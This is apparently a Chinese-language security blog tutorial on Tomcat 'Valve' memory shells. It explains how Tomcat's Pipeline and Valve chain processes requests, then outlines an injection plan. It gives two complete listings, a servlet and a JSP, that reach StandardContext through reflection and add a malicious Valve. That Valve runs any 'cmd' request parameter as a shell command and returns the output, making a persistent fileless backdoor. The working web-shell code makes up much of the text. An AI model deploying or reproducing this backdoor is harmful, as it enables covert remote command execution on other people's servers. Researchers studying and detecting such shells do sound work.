Preparation
在之前学习Listener内存马、Filter内存马和Servlet内存马时,下断点的调用栈中总有一个常见的字眼Valve,调用链中调用了很多与Valve相关的方法的invoke方法。

Valve翻译过来是阀门的意思。在Tomcat中,四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper中都有一个管道(PipeLine)及若干阀门(Valve)。
PipeLine伴随容器类对象生成时自动生成,就像容器的逻辑总线,按照顺序加载各个Valve,而Valve是逻辑的具体实现,通过PipeLine完成各个Valve之间的调用。在PipeLine生成时,同时会生成一个缺省Valve实现,就是在调试中经常看到的StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve。
Tomcat在处理一个请求调用逻辑时,为了整体架构的每个组件的可伸缩性和可扩展性,使用了职责链模式来实现客户端请求的处理。在Tomcat中定义了两个接口:Pipeline(管道)和Valve(阀门)。Pipeline中有一个最基础的Valve,它始终位于末端,最后执行,且封装了具体的请求处理和输出响应的过程。Pipeline提供了addValve方法,可以添加新Valve在BasicValve之前,并按照添加顺序执行。

Tomcat容器的四个子容器中都有基础的Valve实现(StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve),它们同时维护了一个Pipeline实例(StandardPipeline)。也就是说,可以在任何层级的容器上针对请求处理进行扩展,且这四个Valve的基础实现都继承了ValveBase。
Process Analysis
跟进一下上文最开始调用栈图中的org.apache.catalina.connector.CoyoteAdapter#service方法,该方法调用StandardEngine#getPipline方法来获取其Pipeline,接着获取Pipeline中的第一个Valve并调用该Valve的invoke方法。

跟进invoke方法,发现其调用的是org.apache.catalina.core.StandardEngineValve#invoke方法,StandardEngineValve继承了ValveBase,且在invoke方法中能拿到request和response。

Achievement
Idea
动态注入Valve内存马的具体思路如下:
- 继承并构造一个恶意的Valve;
- 获取StandardContext;
- 通过StandardContext获取当前容器的StandardPipeline;
- 调用StandardContext#addValve方法添加恶意Valve。
Dynamic Registration
Servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| package servlet;
import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.valves.ValveBase;
import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; import java.util.Scanner;
@WebServlet(name = "ValveMemoryShellServlet", value = "/ValveMemoryShellServlet") public class ValveMemoryShellServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { super.doGet(request, response); }
@Override protected void doPost(HttpServletRequest request, HttpServletResponse response) { try { ServletContext servletContext = request.getSession().getServletContext(); Field context = servletContext.getClass().getDeclaredField("context"); context.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext); Field context1 = applicationContext.getClass().getDeclaredField("context"); context1.setAccessible(true); StandardContext standardContext = (StandardContext) context1.get(applicationContext);
ValveBase valveBase = new ValveBase() { @Override public void invoke(Request request, Response response) throws IOException { if (((HttpServletRequest) request).getParameter("cmd") != null) { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; }
String[] command = isLinux ? new String[]{"sh", "-c", ((HttpServletRequest) request).getParameter("cmd")} : new String[]{"cmd.exe", "/c", ((HttpServletRequest) request).getParameter("cmd")}; InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t"); String output = scanner.hasNext() ? scanner.next() : ""; ((HttpServletResponse) response).getWriter().write(output); ((HttpServletResponse) response).getWriter().flush(); } } };
standardContext.getPipeline().addValve(valveBase); response.getWriter().write("Valve Inject Successfully..."); } catch (Exception e) { e.printStackTrace(); } } }
|

JSP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page import="java.io.IOException" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% ServletContext servletContext = request.getSession().getServletContext(); Field context = servletContext.getClass().getDeclaredField("context"); context.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext); Field context1 = applicationContext.getClass().getDeclaredField("context"); context1.setAccessible(true); StandardContext standardContext = (StandardContext) context1.get(applicationContext);
ValveBase valveBase = new ValveBase() { @Override public void invoke(Request request, Response response) throws IOException { if (((HttpServletRequest) request).getParameter("cmd") != null) { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; }
String[] command = isLinux ? new String[]{"sh", "-c", ((HttpServletRequest) request).getParameter("cmd")} : new String[]{"cmd.exe", "/c", ((HttpServletRequest) request).getParameter("cmd")}; InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t"); String output = scanner.hasNext() ? scanner.next() : ""; ((HttpServletResponse) response).getWriter().write(output); ((HttpServletResponse) response).getWriter().flush(); } } };
standardContext.getPipeline().addValve(valveBase); response.getWriter().write("Valve Inject Successfully..."); %>
|
